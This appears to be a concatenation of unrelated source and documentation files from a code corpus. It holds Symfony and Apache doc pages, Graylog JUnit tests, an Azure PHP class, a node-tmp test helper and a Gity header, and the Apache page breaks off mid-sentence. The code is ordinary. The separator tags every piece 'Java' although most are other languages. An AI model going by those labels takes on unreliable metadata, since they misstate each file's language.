<h3 id="method_getValues">
<div class="location">at line 153</div>
<code> public array
<strong>getValues</strong>()</code>
</h3>
<div class="details">
<p>Returns the values for the entities</p>
<p>
</p>
<div class="tags">
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>The values with the corresponding choice indices as keys</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
<h3 id="method_getPreferredViews">
<div class="location">at line 170</div>
<code> public array
<strong>getPreferredViews</strong>()</code>
</h3>
<div class="details">
<p>Returns the choice views of the preferred choices as nested array with the choice groups as top-level keys.</p>
<p>
</p>
<div class="tags">
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>A nested array containing the views with the corresponding choice indices as keys on the lowest levels and the choice group names in the keys of the higher levels</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
<h3 id="method_getRemainingViews">
<div class="location">at line 187</div>
<code> public array
<strong>getRemainingViews</strong>()</code>
</h3>
<div class="details">
<p>Returns the choice views of the choices that are not preferred as nested array with the choice groups as top-level keys.</p>
<p>
</p>
<div class="tags">
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>A nested array containing the views with the corresponding choice indices as keys on the lowest levels and the choice group names in the keys of the higher levels</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
<h3 id="method_getChoicesForValues">
<div class="location">at line 205</div>
<code> public array
<strong>getChoicesForValues</strong>(array $values)</code>
</h3>
<div class="details">
<p>Returns the entities corresponding to the given values.</p>
<p>
</p>
<div class="tags">
<h4>Parameters</h4>
<table>
<tr>
<td>array</td>
<td>$values</td>
<td>An array of choice values. Not existing values in this array are ignored</td>
</tr>
</table>
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>An array of choices with ascending, 0-based numeric keys</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
<h3 id="method_getValuesForChoices">
<div class="location">at line 258</div>
<code> public array
<strong>getValuesForChoices</strong>(array $entities)</code>
</h3>
<div class="details">
<p>Returns the values corresponding to the given entities.</p>
<p>
</p>
<div class="tags">
<h4>Parameters</h4>
<table>
<tr>
<td>array</td>
<td>$entities</td>
<td>
</td>
</tr>
</table>
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>An array of choice values with ascending, 0-based numeric keys</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
<h3 id="method_getIndicesForChoices">
<div class="location">at line 300</div>
<code> public array
<strong>getIndicesForChoices</strong>(array $entities)</code>
</h3>
<div class="details">
<p>Returns the indices corresponding to the given entities.</p>
<p>
</p>
<div class="tags">
<h4>Parameters</h4>
<table>
<tr>
<td>array</td>
<td>$entities</td>
<td>
</td>
</tr>
</table>
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>An array of indices with ascending, 0-based numeric keys</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
<h3 id="method_getIndicesForValues">
<div class="location">at line 342</div>
<code> public array
<strong>getIndicesForValues</strong>(array $values)</code>
</h3>
<div class="details">
<p>Returns the entities corresponding to the given values.</p>
<p>
</p>
<div class="tags">
<h4>Parameters</h4>
<table>
<tr>
<td>array</td>
<td>$values</td>
<td>An array of choice values. Not existing values in this array are ignored</td>
</tr>
</table>
<h4>Return Value</h4>
<table>
<tr>
<td>array</td>
<td>An array of indices with ascending, 0-based numeric keys</td>
</tr>
</table>
<h4>See also</h4>
<table>
<tr>
<td>Symfony\Component\Form\Extension\Core\ChoiceList\ChoiceListInterface</td>
<td></td>
</tr>
</table>
</div>
</div>
</div>
<div id="footer">
Generated by <a href="http://sami.sensiolabs.org/" target="_top">Sami, the API Documentation Generator</a>.
</div>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-89393-6']);
_gaq.push(['_setDomainName', '.symfony.com']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</body>
</html>
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--Converted with LaTeX2HTML 2008 (1.71)
original version by: Nikos Drakos, CBLU, University of Leeds
* revised and updated by: Marcus Hennecke, Ross Moore, Herb Swan
* with significant contributions from:
Jens Lippmann, Marek Rouchal, Martin Wilck and others -->
<HTML>
<HEAD>
<TITLE>Conclusion</TITLE>
<META NAME="description" CONTENT="Conclusion">
<META NAME="keywords" CONTENT="document">
<META NAME="resource-type" CONTENT="document">
<META NAME="distribution" CONTENT="global">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
<META NAME="Generator" CONTENT="LaTeX2HTML v2008">
<META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css">
<LINK REL="STYLESHEET" HREF="document.css">
<LINK REL="previous" HREF="node12.html">
<LINK REL="up" HREF="node2.html">
<LINK REL="next" HREF="node14.html">
</HEAD>
<BODY >
<DIV CLASS="navigation"><!--Navigation Panel-->
<A NAME="tex2html168"
HREF="node14.html">
<IMG WIDTH="37" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="next"
SRC="/usr/share/latex2html/icons/next.png"></A>
<A NAME="tex2html166"
HREF="node2.html">
<IMG WIDTH="26" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="up"
SRC="/usr/share/latex2html/icons/up.png"></A>
<A NAME="tex2html162"
HREF="node12.html">
<IMG WIDTH="63" HEIGHT="24" ALIGN="BOTTOM" BORDER="0" ALT="previous"
SRC="/usr/share/latex2html/icons/prev.png"></A>
<BR>
<B> Next:</B> <A NAME="tex2html169"
HREF="node14.html">ReqHunter</A>
<B> Up:</B> <A NAME="tex2html167"
HREF="node2.html">Review of the available</A>
<B> Previous:</B> <A NAME="tex2html163"
HREF="node12.html">REMA</A>
<BR>
<BR></DIV>
<!--End of Navigation Panel-->
<H2><A NAME="SECTION000211000000000000000">
Conclusion</A>
</H2>
<P>
<BR><HR>
<ADDRESS>
Nicolas James
2011-07-19
</ADDRESS>
</BODY>
</HTML>
| Java |
/**
* The MIT License
* Copyright (c) 2012 Graylog, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.graylog2.plugin;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.common.collect.Sets;
import org.graylog2.plugin.streams.Stream;
import org.joda.time.DateTime;
import org.joda.time.DateTimeZone;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.runners.MockitoJUnitRunner;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Pattern;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
@RunWith(MockitoJUnitRunner.class)
public class MessageTest {
private Message message;
private DateTime originalTimestamp;
@Before
public void setUp() {
originalTimestamp = Tools.iso8601();
message = new Message("foo", "bar", originalTimestamp);
}
@Test
public void testAddFieldDoesOnlyAcceptAlphanumericKeys() throws Exception {
Message m = new Message("foo", "bar", Tools.iso8601());
m.addField("some_thing", "bar");
assertEquals("bar", m.getField("some_thing"));
m = new Message("foo", "bar", Tools.iso8601());
m.addField("some-thing", "bar");
assertEquals("bar", m.getField("some-thing"));
m = new Message("foo", "bar", Tools.iso8601());
m.addField("somethin$g", "bar");
assertNull(m.getField("somethin$g"));
m = new Message("foo", "bar", Tools.iso8601());
m.addField("someäthing", "bar");
assertNull(m.getField("someäthing"));
}
@Test
public void testAddFieldTrimsValue() throws Exception {
Message m = new Message("foo", "bar", Tools.iso8601());
m.addField("something", " bar ");
assertEquals("bar", m.getField("something"));
m.addField("something2", " bar");
assertEquals("bar", m.getField("something2"));
m.addField("something3", "bar ");
assertEquals("bar", m.getField("something3"));
}
@Test
public void testAddFieldWorksWithIntegers() throws Exception {
Message m = new Message("foo", "bar", Tools.iso8601());
m.addField("something", 3);
assertEquals(3, m.getField("something"));
}
@Test
public void testAddFields() throws Exception {
final Map<String, Object> map = Maps.newHashMap();
map.put("field1", "Foo");
map.put("field2", 1);
message.addFields(map);
assertEquals("Foo", message.getField("field1"));
assertEquals(1, message.getField("field2"));
}
@Test
public void testAddStringFields() throws Exception {
final Map<String, String> map = Maps.newHashMap();
map.put("field1", "Foo");
map.put("field2", "Bar");
message.addStringFields(map);
assertEquals("Foo", message.getField("field1"));
assertEquals("Bar", message.getField("field2"));
}
@Test
public void testAddLongFields() throws Exception {
final Map<String, Long> map = Maps.newHashMap();
map.put("field1", 10L);
map.put("field2", 230L);
message.addLongFields(map);
assertEquals(10L, message.getField("field1"));
assertEquals(230L, message.getField("field2"));
}
@Test
public void testAddDoubleFields() throws Exception {
final Map<String, Double> map = Maps.newHashMap();
map.put("field1", 10.0d);
map.put("field2", 230.2d);
message.addDoubleFields(map);
assertEquals(10.0d, message.getField("field1"));
assertEquals(230.2d, message.getField("field2"));
}
@Test
public void testRemoveField() throws Exception {
message.addField("foo", "bar");
message.removeField("foo");
assertNull(message.getField("foo"));
}
@Test
public void testRemoveFieldNotDeletingReservedFields() throws Exception {
message.removeField("message");
message.removeField("source");
message.removeField("timestamp");
assertNotNull(message.getField("message"));
assertNotNull(message.getField("source"));
assertNotNull(message.getField("timestamp"));
}
@Test
public void testGetFieldAs() throws Exception {
message.addField("fields", Lists.newArrayList("hello"));
assertEquals(Lists.newArrayList("hello"), message.getFieldAs(List.class, "fields"));
}
@Test(expected = ClassCastException.class)
public void testGetFieldAsWithIncompatibleCast() throws Exception {
message.addField("fields", Lists.newArrayList("hello"));
message.getFieldAs(Map.class, "fields");
}
@Test
public void testSetAndGetStreams() throws Exception {
final Stream stream1 = mock(Stream.class);
final Stream stream2 = mock(Stream.class);
message.setStreams(Lists.newArrayList(stream1, stream2));
assertEquals(Lists.newArrayList(stream1, stream2), message.getStreams());
}
@Test
public void testGetStreamIds() throws Exception {
message.addField("streams", Lists.newArrayList("stream-id"));
assertEquals(Lists.newArrayList("stream-id"), message.getStreamIds());
}
@Test
public void testGetAndSetFilterOut() throws Exception {
assertFalse(message.getFilterOut());
message.setFilterOut(true);
assertTrue(message.getFilterOut());
message.setFilterOut(false);
assertFalse(message.getFilterOut());
}
@Test
public void testGetId() throws Exception {
final Pattern pattern = Pattern.compile("[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}");
assertTrue(pattern.matcher(message.getId()).matches());
}
@Test
public void testGetTimestamp() {
try {
final DateTime timestamp = message.getTimestamp();
assertNotNull(timestamp);
assertEquals(originalTimestamp.getZone(), timestamp.getZone());
} catch (ClassCastException e) {
fail("timestamp wasn't a DateTime " + e.getMessage());
}
}
@Test
public void testTimestampAsDate() {
final DateTime dateTime = new DateTime(2015, 9, 8, 0, 0, DateTimeZone.UTC);
message.addField(Message.FIELD_TIMESTAMP,
dateTime.toDate());
final Map<String, Object> elasticSearchObject = message.toElasticSearchObject();
final Object esTimestampFormatted = elasticSearchObject.get(Message.FIELD_TIMESTAMP);
assertEquals("Setting message timestamp as java.util.Date results in correct format for elasticsearch",
Tools.buildElasticSearchTimeFormat(dateTime), esTimestampFormatted);
}
@Test
public void testGetMessage() throws Exception {
assertEquals("foo", message.getMessage());
}
@Test
public void testGetSource() throws Exception {
assertEquals("bar", message.getSource());
}
@Test
public void testValidKeys() throws Exception {
assertTrue(Message.validKey("foo123"));
assertTrue(Message.validKey("foo-bar123"));
assertTrue(Message.validKey("foo_bar123"));
assertTrue(Message.validKey("foo.bar123"));
assertTrue(Message.validKey("123"));
assertTrue(Message.validKey(""));
assertFalse(Message.validKey("foo bar"));
assertFalse(Message.validKey("foo+bar"));
assertFalse(Message.validKey("foo$bar"));
assertFalse(Message.validKey(" "));
}
@Test
public void testToElasticSearchObject() throws Exception {
message.addField("field1", "wat");
message.addField("field2", "that");
final Map<String, Object> object = message.toElasticSearchObject();
assertEquals("foo", object.get("message"));
assertEquals("bar", object.get("source"));
assertEquals("wat", object.get("field1"));
assertEquals("that", object.get("field2"));
assertEquals(Tools.buildElasticSearchTimeFormat((DateTime) message.getField("timestamp")), object.get("timestamp"));
assertEquals(Collections.EMPTY_LIST, object.get("streams"));
}
@Test
public void testToElasticSearchObjectWithoutDateTimeTimestamp() throws Exception {
message.addField("timestamp", "time!");
final Map<String, Object> object = message.toElasticSearchObject();
assertEquals("time!", object.get("timestamp"));
}
@Test
public void testToElasticSearchObjectWithStreams() throws Exception {
final Stream stream = mock(Stream.class);
when(stream.getId()).thenReturn("stream-id");
message.setStreams(Lists.newArrayList(stream));
final Map<String, Object> object = message.toElasticSearchObject();
assertEquals(Lists.newArrayList("stream-id"), object.get("streams"));
}
@Test
public void testIsComplete() throws Exception {
Message message = new Message("message", "source", Tools.iso8601());
assertTrue(message.isComplete());
message = new Message("message", "", Tools.iso8601());
assertTrue(message.isComplete());
message = new Message("message", null, Tools.iso8601());
assertTrue(message.isComplete());
message = new Message("", "source", Tools.iso8601());
assertFalse(message.isComplete());
message = new Message(null, "source", Tools.iso8601());
assertFalse(message.isComplete());
}
@Test
public void testGetValidationErrorsWithEmptyMessage() throws Exception {
final Message message = new Message("", "source", Tools.iso8601());
assertEquals("message is empty, ", message.getValidationErrors());
}
@Test
public void testGetValidationErrorsWithNullMessage() throws Exception {
final Message message = new Message(null, "source", Tools.iso8601());
assertEquals("message is missing, ", message.getValidationErrors());
}
@Test
public void testGetFields() throws Exception {
final Map<String, Object> fields = message.getFields();
assertEquals(message.getId(), fields.get("_id"));
assertEquals(message.getMessage(), fields.get("message"));
assertEquals(message.getSource(), fields.get("source"));
assertEquals(message.getField("timestamp"), fields.get("timestamp"));
}
@Test(expected = UnsupportedOperationException.class)
public void testGetFieldsReturnsImmutableMap() throws Exception {
final Map<String, Object> fields = message.getFields();
fields.put("foo", "bar");
}
@Test
public void testGetFieldNames() throws Exception {
assertTrue("Missing fields in set!", Sets.symmetricDifference(message.getFieldNames(), Sets.newHashSet("_id", "timestamp", "source", "message")).isEmpty());
message.addField("testfield", "testvalue");
assertTrue("Missing fields in set!", Sets.symmetricDifference(message.getFieldNames(), Sets.newHashSet("_id", "timestamp", "source", "message", "testfield")).isEmpty());
}
@Test(expected = UnsupportedOperationException.class)
public void testGetFieldNamesReturnsUnmodifiableSet() throws Exception {
final Set<String> fieldNames = message.getFieldNames();
fieldNames.remove("_id");
}
@Test
public void testHasField() throws Exception {
assertFalse(message.hasField("__foo__"));
message.addField("__foo__", "bar");
assertTrue(message.hasField("__foo__"));
}
}
| Java |
<?php
/**
* LICENSE: The MIT License (the "License")
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* https://github.com/azure/azure-storage-php/LICENSE
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* PHP version 5
*
* @category Microsoft
* @package MicrosoftAzure\Storage\Table\Models
* @author Azure Storage PHP SDK <[email protected]>
* @copyright 2016 Microsoft Corporation
* @license https://github.com/azure/azure-storage-php/LICENSE
* @link https://github.com/azure/azure-storage-php
*/
namespace MicrosoftAzure\Storage\Table\Models;
use MicrosoftAzure\Storage\Common\Internal\Validate;
use MicrosoftAzure\Storage\Common\Internal\Resources;
use MicrosoftAzure\Storage\Common\Internal\Utilities;
/**
* Represents one batch operation
*
* @category Microsoft
* @package MicrosoftAzure\Storage\Table\Models
* @author Azure Storage PHP SDK <[email protected]>
* @copyright 2016 Microsoft Corporation
* @license https://github.com/azure/azure-storage-php/LICENSE
* @version Release: 0.10.1
* @link https://github.com/azure/azure-storage-php
*/
class BatchOperation
{
/**
* @var string
*/
private $_type;
/**
* @var array
*/
private $_params;
/**
* Sets operation type.
*
* @param string $type The operation type. Must be valid type.
*
* @return none
*/
public function setType($type)
{
Validate::isTrue(
BatchOperationType::isValid($type),
Resources::INVALID_BO_TYPE_MSG
);
$this->_type = $type;
}
/**
* Gets operation type.
*
* @return string
*/
public function getType()
{
return $this->_type;
}
/**
* Adds or sets parameter for the operation.
*
* @param string $name The param name. Must be valid name.
* @param mix $value The param value.
*
* @return none
*/
public function addParameter($name, $value)
{
Validate::isTrue(
BatchOperationParameterName::isValid($name),
Resources::INVALID_BO_PN_MSG
);
$this->_params[$name] = $value;
}
/**
* Gets parameter value and if the name doesn't exist, return null.
*
* @param string $name The parameter name.
*
* @return mix
*/
public function getParameter($name)
{
return Utilities::tryGetValue($this->_params, $name);
}
}
| Java |
var
assert = require('assert'),
path = require('path'),
exec = require('child_process').exec,
tmp = require('../lib/tmp');
// make sure that we do not test spam the global tmp
tmp.TMP_DIR = './tmp';
function _spawnTestWithError(testFile, params, cb) {
_spawnTest(true, testFile, params, cb);
}
function _spawnTestWithoutError(testFile, params, cb) {
_spawnTest(false, testFile, params, cb);
}
function _spawnTest(passError, testFile, params, cb) {
var
node_path = process.argv[0],
command = [ node_path, path.join(__dirname, testFile) ].concat(params).join(' ');
exec(command, function _execDone(err, stdout, stderr) {
if (passError) {
if (err) {
return cb(err);
} else if (stderr.length > 0) {
return cb(stderr.toString());
}
}
return cb(null, stdout.toString());
});
}
function _testStat(stat, mode) {
assert.equal(stat.uid, process.getuid(), 'should have the same UID');
assert.equal(stat.gid, process.getgid(), 'should have the same GUID');
assert.equal(stat.mode, mode);
}
function _testPrefix(prefix) {
return function _testPrefixGenerated(err, name) {
assert.equal(path.basename(name).slice(0, prefix.length), prefix, 'should have the provided prefix');
};
}
function _testPrefixSync(prefix) {
return function _testPrefixGeneratedSync(result) {
if (result instanceof Error) {
throw result;
}
_testPrefix(prefix)(null, result.name, result.fd);
};
}
function _testPostfix(postfix) {
return function _testPostfixGenerated(err, name) {
assert.equal(name.slice(name.length - postfix.length, name.length), postfix, 'should have the provided postfix');
};
}
function _testPostfixSync(postfix) {
return function _testPostfixGeneratedSync(result) {
if (result instanceof Error) {
throw result;
}
_testPostfix(postfix)(null, result.name, result.fd);
};
}
function _testKeep(type, keep, cb) {
_spawnTestWithError('keep.js', [ type, keep ], cb);
}
function _testKeepSync(type, keep, cb) {
_spawnTestWithError('keep-sync.js', [ type, keep ], cb);
}
function _testGraceful(type, graceful, cb) {
_spawnTestWithoutError('graceful.js', [ type, graceful ], cb);
}
function _testGracefulSync(type, graceful, cb) {
_spawnTestWithoutError('graceful-sync.js', [ type, graceful ], cb);
}
function _assertName(err, name) {
assert.isString(name);
assert.isNotZero(name.length, 'an empty string is not a valid name');
}
function _assertNameSync(result) {
if (result instanceof Error) {
throw result;
}
var name = typeof(result) == 'string' ? result : result.name;
_assertName(null, name);
}
function _testName(expected){
return function _testNameGenerated(err, name) {
assert.equal(expected, name, 'should have the provided name');
};
}
function _testNameSync(expected){
return function _testNameGeneratedSync(result) {
if (result instanceof Error) {
throw result;
}
_testName(expected)(null, result.name, result.fd);
};
}
function _testUnsafeCleanup(unsafe, cb) {
_spawnTestWithoutError('unsafe.js', [ 'dir', unsafe ], cb);
}
function _testIssue62(cb) {
_spawnTestWithoutError('issue62.js', [], cb);
}
function _testUnsafeCleanupSync(unsafe, cb) {
_spawnTestWithoutError('unsafe-sync.js', [ 'dir', unsafe ], cb);
}
function _testIssue62Sync(cb) {
_spawnTestWithoutError('issue62-sync.js', [], cb);
}
module.exports.testStat = _testStat;
module.exports.testPrefix = _testPrefix;
module.exports.testPrefixSync = _testPrefixSync;
module.exports.testPostfix = _testPostfix;
module.exports.testPostfixSync = _testPostfixSync;
module.exports.testKeep = _testKeep;
module.exports.testKeepSync = _testKeepSync;
module.exports.testGraceful = _testGraceful;
module.exports.testGracefulSync = _testGracefulSync;
module.exports.assertName = _assertName;
module.exports.assertNameSync = _assertNameSync;
module.exports.testName = _testName;
module.exports.testNameSync = _testNameSync;
module.exports.testUnsafeCleanup = _testUnsafeCleanup;
module.exports.testIssue62 = _testIssue62;
module.exports.testUnsafeCleanupSync = _testUnsafeCleanupSync;
module.exports.testIssue62Sync = _testIssue62Sync;
| Java |
// Copyright Aaron Smith 2009
//
// This file is part of Gity.
//
// Gity is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Gity is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Gity. If not, see <http://www.gnu.org/licenses/>.
#import <Cocoa/Cocoa.h>
#import <GDKit/GDKit.h>
#import "GTBaseGitTask.h"
#import "GTGitCommitLoadInfo.h"
#import "GittyDocument.h"
#import "GTCallback.h"
#import "GTGitCommit.h"
@interface GTOpLoadHistory : GTBaseGitTask {
BOOL detatchedHead;
GTGitCommitLoadInfo * loadInfo;
//GTCallback * callback;
NSMutableArray * commits;
}
//- (id) initWithGD:(GittyDocument *) _gd andLoadInfo:(GTGitCommitLoadInfo *) _loadInfo andCallback:(GTCallback *) _callback;
- (id) initWithGD:(GittyDocument *) _gd andLoadInfo:(GTGitCommitLoadInfo *) _loadInfo;
//- (void) readSTDOUTC;
//- (void) readSTDOUTCPP;
@end
| Java |
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><!--
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
This file is generated from xml source: DO NOT EDIT
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-->
<title>mod_negotiation - Apache HTTP Server</title>
<link href="../../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" />
<link href="../../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" />
<link href="../../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="../../style/css/prettify.css" />
<script src="../../style/scripts/prettify.js" type="text/javascript">
</script>
<link href="../../images/favicon.ico" rel="shortcut icon" /></head>
<body>
<div id="page-header">
<p class="menu"><a href="../mod/index.html">Modules</a> | <a href="../mod/directives.html">Directives</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">Glossary</a> | <a href="../sitemap.html">Sitemap</a></p>
<p class="apache">Apache HTTP Server Version 2.4</p>
<img alt="" src="../../images/feather.gif" /></div>
<div class="up"><a href="./index.html"><img title="<-" alt="<-" src="../../images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> > <a href="http://httpd.apache.org/">HTTP Server</a> > <a href="http://httpd.apache.org/docs/">Documentation</a> > <a href="../index.html">Version 2.4</a> > <a href="./index.html">Modules</a></div>
<div id="page-content">
<div id="preamble"><h1>Apache Module mod_negotiation</h1>
<div class="toplang">
<p><span>Available Languages: </span><a href="../../en/mod/mod_negotiation.html" title="English"> en </a> |
<a href="../../fr/mod/mod_negotiation.html" hreflang="fr" rel="alternate" title="Français"> fr </a> |
<a href="../../ja/mod/mod_negotiation.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a></p>
</div>
<table class="module"><tr><th><a href="module-dict.html#Description">Description:</a></th><td>Provides for <a href="../content-negotiation.html">content negotiation</a></td></tr>
<tr><th><a href="module-dict.html#Status">Status:</a></th><td>Base</td></tr>
<tr><th><a href="module-dict.html#ModuleIdentifier">Module Identifier:</a></th><td>negotiation_module</td></tr>
<tr><th><a href="module-dict.html#SourceFile">Source File:</a></th><td>mod_negotiation.c</td></tr></table>
<h3>Summary</h3>
<p>Content negotiation, or more accurately content selection, is
the selection of the document that best matches the clients
capabilities, from one of several available documents. There
are two implementations of this.</p>
<ul>
<li>A type map (a file with the handler
<code>type-map</code>) which explicitly lists the files
containing the variants.</li>
<li>A Multiviews search (enabled by the <code>Multiviews</code>
<code class="directive"><a href="../mod/core.html#options">Options</a></code>), where the server does
an implicit filename pattern match, and choose from amongst the
results.</li>
</ul>
</div>
<div id="quickview"><h3 class="directives">Directives</h3>
<ul id="toc">
<li><img alt="" src="../../images/down.gif" /> <a href="#cachenegotiateddocs">CacheNegotiatedDocs</a></li>
<li><img alt="" src="../../images/down.gif" /> <a href="#forcelanguagepriority">ForceLanguagePriority</a></li>
<li><img alt="" src="../../images/down.gif" /> <a href="#languagepriority">LanguagePriority</a></li>
</ul>
<h3>Topics</h3>
<ul id="topics">
<li><img alt="" src="../../images/down.gif" /> <a href="#typemaps">Type maps</a></li>
<li><img alt="" src="../../images/down.gif" /> <a href="#multiviews">Multiviews</a></li>
</ul><h3>See also</h3>
<ul class="seealso">
<li><code class="directive"><a href="../mod/core.html#options">Options</a></code></li>
<li><code class="module"><a href="../mod/mod_mime.html">mod_mime</a></code></li>
<li><a href="../content-negotiation.html">Content
Negotiation</a></li>
<li><a href="../env.html">Environment Variables</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">Comments</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif" /></a></div>
<div class="section">
<h2><a name="typemaps" id="typemaps">Type maps</a></h2>
<p>A type map has a format similar to RFC822 mail headers. It
contains document descriptions separated by blank lines, with
lines beginning with a hash character ('#') treated as
comments. A document description consists of several header
records; records may be continued on multiple lines if the
continuation lines start with spaces. The leading space will be
deleted and the lines concatenated. A header record consists of
a keyword name, which always ends in a colon, followed by a
value. Whitespace is allowed between the header name and value,
and between the tokens of value. The headers allowed are: </p>
<dl>
<dt><code>Content-Encoding:</code></dt>
<dd>The encoding of the file. Apache only recognizes
encodings that are defined by an <code class="directive"><a href="../mod/mod_mime.html#addencoding">AddEncoding</a></code> directive.
This normally includes the encodings <code>x-compress</code>
for compress'd files, and <code>x-gzip</code> for gzip'd
files. The <code>x-</code> prefix is ignored for encoding
comparisons.</dd>
<dt><code>Content-Language:</code></dt>
<dd>The language(s) of the variant, as an Internet standard
language tag (<a href="http://www.ietf.org/rfc/rfc1766.txt">RFC 1766</a>). An example is <code>en</code>,
meaning English. If the variant contains more than one
language, they are separated by a comma.</dd>
<dt><code>Content-Length:</code></dt>
<dd>The length of the file, in bytes. If this header is not
present, then the actual length of the file is used.</dd>
<dt><code>Content-Type:</code></dt>
<dd>
The <a class="glossarylink" href="../glossary.html#mime-type" title="see glossary">MIME media type</a> of
the document, with optional parameters. Parameters are
separated from the media type and from one another by a
semi-colon, with a syntax of <code>name=value</code>. Common
parameters include:
<dl>
<dt><code>level</code></dt>
<dd>an integer specifying the version of the media type.
For <code>text/html</code> this defaults to 2, otherwise
0.</dd>
<dt><code>qs</code></dt>
<dd>a floating-point number with a value in the range 0[.000]
to 1[.000], indicating the relative 'quality' of this variant
compared to the other available variants, independent of
the client's capabilities. For example, a jpeg file is
usually of higher source quality than an ascii file if it
is attempting to represent a photograph. However, if the
resource being represented is ascii art, then an ascii
file would have a higher source quality than a jpeg file.
All <code>qs</code> values are therefore specific to a given
resource.</dd>
</dl>
<div class="example"><h3>Example</h3><p><code>
Content-Type: image/jpeg; qs=0.8
</code></p></div>
</dd>
<dt><code>URI:</code></dt>
<dd>uri of the file containing the variant (of the given
media type, encoded with the given content encoding). These
are interpreted as URLs relative to the map file; they must
be on the same server, and they must refer to files to
which the client would be granted access if they were to be
requested directly.</dd>
<dt><code>Body:</code></dt>
<dd>The actual content of the resource may
be included in the type-map file using the Body header. This
header must contain a string that designates a delimiter for
the body content. Then all following lines in the type map
